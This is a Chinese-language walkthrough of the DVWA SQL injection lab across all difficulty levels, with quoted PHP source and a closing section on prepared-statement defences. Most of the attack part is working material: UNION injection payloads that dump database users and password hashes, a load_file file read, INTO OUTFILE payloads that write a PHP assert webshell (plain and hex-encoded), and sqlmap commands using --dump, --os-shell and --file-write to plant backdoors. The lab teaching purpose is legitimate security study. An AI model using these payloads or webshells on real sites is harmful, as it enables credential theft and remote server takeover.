Bootstrap

DVWA通关--SQL注入(SQL Injection)

目录

LOW

通关步骤

一、手工注入

二、sqlmap注入

代码分析

MEDIUM

通关步骤

方法一、手工注入

方法二、sqlmap注入

代码分析

HIGH

通关步骤

方法一、手工注入

方法二、sqlmap注入

代码分析

IMPOSSIBLE

代码分析

总结

A.有回显的手工SQL注入步骤

B.sqlmap注入

C.SQL注入防御


LOW

通关步骤

一、手工注入

1、找闭合

输入1'    报错

输入1'',不报错,说明闭合是单引号

2、确定列数

输入1' order by 2#,返回正确结果

输入1' order by 3#,报错,说明只有两列

3、爆库

输入1' union select 1,database()#

得到库名dvwa

4、爆表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#     (0x64767761是dvwa的ascii码)

得到表guestbook和users,猜测用户名和密码在users中

插一句题外话,这一步的时候一开始遇到了下图这样的报错。询问网络,网络给了我这个链接,sql注入时union出错(Illegal mix of collations for operation UNION),按照这个修改了dvwa数据库users表的字段字符规则就好了。

正常视图Ctrl+D可以进入修改字段字符规则的视图。

5、爆列

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

我用navicat看了一下,dvwa的users表没有这么多列,我怀疑可能是别的数据库里面也有叫users的表,把那些表的列也打出来了。所以这边还得加个数据库名的限制

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

或者1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#

用户名和密码的列名应该分别是user和password

6、得到数据库内容:

输入1' union select group_concat(user),group_concat(password) from users#

得到5个用户:admin,gordonb,1337,pablo,smithy

5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

7、读文件

输入1' union select 1,load_file('C:/Windows/win.ini')#

8、写webshell

输入1' union select 1,'<?php assert($_POST[a]);?>' into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

或者1' union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

一开始报错

询问了互联网之后找到了解决方法,如下图这样在mysql配置文件中增加一行secure_file_priv=

这就表示不限制mysql写入文件的目录了

再输入上述payload,虽然有报错,但是服务器上一看,webshell已经写好了。

如果想要确认webshell确实写入了,可以再次输入payload,报错消失或者报错消息提示文件已存在,说明webshell写入成功。

服务器上写入的webshell

二、sqlmap注入

1、找注入点

命令行输入以下命令,得到注入点和payload

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"

注意一定要用双引号,url不用引号或者用单引号的时候,会报如下错误。如果cookie不用双引号会跳转到登录页面:不用引号会识别不到cookie的设置,用单引号的时候会问要不要合并网站新提供的cookie和sqlmap设置的cookie。

2、爆库

命令行输入以下命令,得到所有可访问的数据库

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -dbs

命令行输入以下命令,得到当前数据库

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --current-db

3、爆表

命令行输入以下命令,得到数据库dvwa的所有表

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --tables -D dvwa

当然,如果不用-D指定数据库,得到的将是所有可访问的数据库的所有表

4、爆列

命令行输入以下命令,得到数据库dvwa表users的所有列

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --columns -D dvwa -T users

5、得到用户名和密码

命令行输入以下命令,得到user和password字段的值

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dump -D dvwa -T users -C "user,password"

哇哦,直接识别出密码是md5,并且解密了呢

6、写马

方法一、--os-shell

(1)命令行输入以下命令,进入sql-shell

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --sql-shell

(2)sql-shell中输入 select @@datadir 

得到数据库位置信息

通过这个信息,再结合url可以推测网站根目录可能是C:\phpstudy_pro\WWW\dvwa\

(3)命令行输入以下命令,尝试写shell

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --os-shell

让选语言的时候选php

让选路径的时候首先选2(custom location(s),就是自定义),然后输入刚刚猜测的路径。

然后就进入os-shell了

服务器上该目录下看到下面两个php文件,就是sqlmap写入的两个马。

当然上面那张图命令行结果中也提示了tmpblmqm.php是后门,tmpubgfp.php是上传文件用的

可以在浏览器里访问http://192.168.116.132:80/dvwa/tmpubgfp.php,上传文件,比如木马等。亲测可以上传成功。

直接os-shell下输入系统命令,或者浏览器中访问http://192.168.116.132/dvwa/tmpblmqm.php?cmd=xxx 都可以

但有个问题是,如下图提示的,如果系统的编码是cp936,就会有一些回显显示为乱码

按q退出os-shell之后,tmpblmqm.php和tmpubgfp.php两个文件也会被删除。

不过测试过程中,有一次tmpubgfp.php没有被删除,后来没复现,不知道是何原因。若有大神有思路,望提点。

 

方法二、-file-write

命令行输入如下命令,可以将本地PC中的E:\渗透测试学习资料\dvwa\file upload\sh.php文件的内容写入目标机器C:/phpstudy_pro/WWW/dvwa/shi.php文件中

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"

目标机器上查到的文件内容多了个无法解析的字符,不知道为啥,但是不影响使用

用蚁剑连接成功

代码分析

这关直接把用户输入拼接到sql查询语句里面,然后就开始查询了。

我对mysqli_fetch_assoc()函数比较感兴趣,就是手工注入写马的时候报错的函数。

mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组。

返回根据从结果集取得的行生成的关联数组,如果没有更多行,则返回 false。

这样一来报错的原因就很明确了,因为写马成功返回值不是结果集,而是布尔值1。

这个布尔值1又是哪儿来的呢?

往上看一行代码,发现是mysqli_query()的返回值。

mysqli_query() 函数执行某个针对数据库的查询。

针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询,将返回一个 mysqli_result 对象。针对其他成功的查询,将返回 TRUE。如果失败,则返回 FALSE。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

MEDIUM

通关步骤

方法一、手工注入

1、首先观察页面,点一下Submit按钮,可以看到url中没有注入点,应该是post注入

2、点一下Submit按钮,burpsuite抓包,并将此报文send to repeater

3、第一次把id=1改成id=1'

第二次把id=1改成id=1''

send之后看response,从结果可见,这里输入是数值,不需要闭合,并且单引号应该是会被转义的

一不做二不休,顺便试一下双引号会不会转义

会的

4、确定列数

id=1 order by 2不报错

id=1 order by 3报错

列数为2列

5、爆库

id=1 union select 1,database()

得到库名dvwa

6、爆表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

或者id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761    (dvwa的十六进制ascii码)

得到表名guestbook和users

7、爆列

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761   (0x7573657273是users的十六进制ascii码)

得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

8、得到数据库内容:

id=1 union select group_concat(user),group_concat(password) from users

得到5个用户:admin,gordonb,1337,pablo,smithy

5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

9、这关转义了单引号和双引号,从网上查到的资料看,应该是没办法用select xxx into outfile的方法写马了。

如果哪位大神知道绕过方法,请赐教。

方法二、sqlmap注入

1、由于是post注入,所以要先burpsuite抓到包含post参数的报文,并保存到txt文件中(右键copy to file),比如medium.txt。

2、找注入点

命令行输入如下命令,得到注入点和payload

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt"

3、爆库

输入如下命令,得到当前数据库

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --current-db

4、爆表

输入如下命令,得到dvwa数据库的所有表

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --tables -D dvwa

5、爆列

输入如下命令,得到dvwa数据库users表的所有列

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --columns -D dvwa -T users

6、得到用户名和密码

输入如下命令,得到user和password的值

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --dump -D dvwa -T users -C "user,password"

7、写马

方法1、--os-shell

MEDIUM关无法通过--os-shell方式写马,具体尝试方法可以参见LOW关。

写马失败返回结果如下图。

从网上查找的资料看(sqlmap --os-shell原理),失败原因估计是因为本关单引号被转义。

方法2、--file-write

MEDIUM关无法通过--file-write方式写马,具体尝试方法可以参见LOW关。

写马失败返回结果如下图。

估摸着原因也是因为本关单引号被转义。

代码分析

 这关主要的有效表现是把单引号和双引号转义了。

这个是mysqli_real_escape_string()函数的贡献。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

涉及的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

HIGH

通关步骤

方法一、手工注入

1、熟悉环境:这关输入和显示不在一个窗口。

先不管三七二十一,咱还是按照套路来

2、找闭合

窗口输入1',按Submit,页面报错

窗口输入1'',按Submit,正常显示结果

因此闭合是单引号,并且本关没有转义单引号

3、确定列数

窗口输入1' order by 3#,按Submit,报错

窗口输入1' order by 2#,按Submit,返回正常结果

因此列数为2列

4、爆库

窗口输入1' union select 1,database()#,按Submit,得到数据库dvwa

5、爆表

窗口输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,按Submit,得到表名guestbook和users

6、爆列

窗口输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

按Submit,得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7、得到数据库内容

窗口输入1' union select group_concat(user),group_concat(password) from users#

得到5个用户:admin,gordonb,1337,pablo,smithy

5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

8、写入一句话木马

窗口输入输入1' union select 1,'<?php assert($_POST[a]);?>' into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

或者1' union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

虽然看似报错了,但是实际上在服务器上已经生成了文件C:\phpstudy_pro\WWW\DVWA\hackable\uploads\sh.php

蚁剑连一下

方法二、sqlmap注入

这关原本我是以为不能用sqlmap进行注入的,毕竟输入和返回在不同的页面上,并且没有重定向。直到我看到这一篇DVWA+SQL Injection(high)+SQLmap注入实战

稍微修改了一点点命令,尝试了一下:

1、burpsuite抓到包含post参数的报文,并保存到txt文件中(右键copy to file),比如high.txt。

2、找注入点

输入如下命令,得到注入点和payload

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/"

3、爆库

输入如下命令,得到当前数据库

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --current-db

4、爆表

输入如下命令,得到数据库dvwa的所有表

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --tables -D dvwa

5、爆列

输入如下命令,得到数据库dvwa表users的所有列

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --columns -D dvwa -T users

6、得到用户名和密码

输入如下命令,得到用户名和密码

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --dump -D dvwa -T users -C "user,password"

7、写马

方法1、--os-shell

用--sql-shell获得数据库绝对路径并猜测网站绝对路径的步骤就省略了,可参见LOW关

输入以下命令,并按下图操作

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --os-shell

让选语言的时候选php

让选路径的时候首先选2(custom location(s),就是自定义),然后输入想要传马的目录,比如C:\phpstudy_pro\WWW\DVWA\

生成两个两个php文件:

http://192.168.116.132:80/DVWA/tmpuzjvt.php  是传文件用的

http://192.168.116.132:80/DVWA/tmpbynyf.php  是命令行

两个文件都可以通过浏览器访问,命令行也可以直接在os-shell下访问

按q推出os-shell后,这两个文件都被删除。

不过上传文件的php文件好像经常会删除失败,遇到做这个dvwa的sqli的过程中都遇到2次了。

方法2、--file-write

命令行输入

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"

一句话木马被写入服务器

代码分析

我的天,这关号称是HIGH,结果比MEDIUM还要弱。。MEDIUM好歹不能传马,HIGH关想干啥干啥。

和LOW区别是把输入和输出分成两个页面了,主要目的可能是为了防止自动化SQL注入,但是压根没防住。

还有个区别是把报错信息模糊化了,虽然确实安全一丢丢,但是对于这种有回显的注入貌似是杯水车薪。

看看代码咋写的吧。

好像没啥可说的,上面说的第一个区别,不在这个代码里,不过有一个迹象,就是这关id的值是通过$_SESSION[ 'id' ]来获取的。

第二个区别是通过$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );这句实现的

再观察代码,发现还有个区别,就是query语句最后有LIMIT 1,但实际上我们注入过程中发现它并没有起作用,因为注入过程中把它注释掉啦。。。

如果网页只想显示一行的话,就不要用while语句啦。

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

 

IMPOSSIBLE

代码分析

本关用预编译语句解决了sql注入问题。主要是以下三句:

        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

 

总结

DVWA的SQL注入可太简单了。。

总结以下几点:

A.有回显的手工SQL注入步骤

***mysql的注释可以是#或者-- ,注意--后面有空格,可以写成-- ss这样比较不容易漏掉空格。此外如果在url中用#要进行url编码,写为%23

1、找注入点

2、找闭合,常见的有单引号、双引号(字符型),无闭合(数值型)

确定

3、确定列数 order by

4、确定字段类型 union select  

5、爆库  union select 1,database()

6、爆表 

union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()         

union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'

union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761    (0x64767761是dvwa的ascii码)

7、爆列

union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'

union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761

8、爆内容

union select group_concat(user),group_concat(password) from users

9、读文件

union select 1,load_file('C:/Windows/win.ini')

10、写马

union select 1,'<?php assert($_POST[a]);?>' into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'

union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'

用into outfile写马需要的条件有:

(1)能够使用单引号

(2)知道绝对路径

(3)对目录需要有写权限且secure_file_priv不限制mysql写入文件的目录

B.sqlmap注入

1、如果是post型,可以先burpsuite抓包保存为txt

2、找注入点(可以省略)

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"     (GET型,如果需要认证身份要加cookie)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt"           (POST型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/"          (POST型,输入和回显不在同一个页面)

3、爆库
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -dbs           (GET型,全部可访问的数据库)
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --current-db         (GET型,当前数据库)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --current-db              (POST型,当前数据库)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --current-db     (POST型,输入和回显不在同一个页面,当前数据库)

4、爆表
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --tables -D dvwa    (GET型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --tables -D dvwa       (POST型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --tables -D dvwa         (POST型,输入和回显不在同一个页面)

5、爆列
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --columns -D dvwa -T users    (GET型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --columns -D dvwa -T users     (POST型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --columns -D dvwa -T users     (POST型,输入和回显不在同一个页面)

6、爆内容
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dump -D dvwa -T users -C "user,password"     (GET型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\medium.txt" --dump -D dvwa -T users -C "user,password"     (POST型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --dump -D dvwa -T users -C "user,password"     (POST型,输入和回显不在同一个页面)

7、写马

引号被转义就不能用了

--os-shell方法
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --sql-shell    
select @@datadir 
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --os-shell
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --os-shell

--file-write方法

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"         (GET型)
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\high.txt" --second-url "http://192.168.116.132/dvwa/vulnerabilities/sqli/" --file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"     (POST型,输入和回显不在同一个页面)

C.SQL注入防御

SQL注入形成的原因是数据和代码没分离,用户可控的数据可以作为SQL语句执行。

因此防御sql注入最有效的方法是使用预编译语句,就像IMPOSSIBLE关这样。

预编译之后输入的参数不会再进行SQL编译,SQL语句的语义不会发生变化。

除此之外,也可以采用安全的存储过程,但存储过程本身可能存在注入;检查输入的数据类型也是有用的,但不是万能的;使用安全函数,注意数据库的最小权限原则也是有利的。

;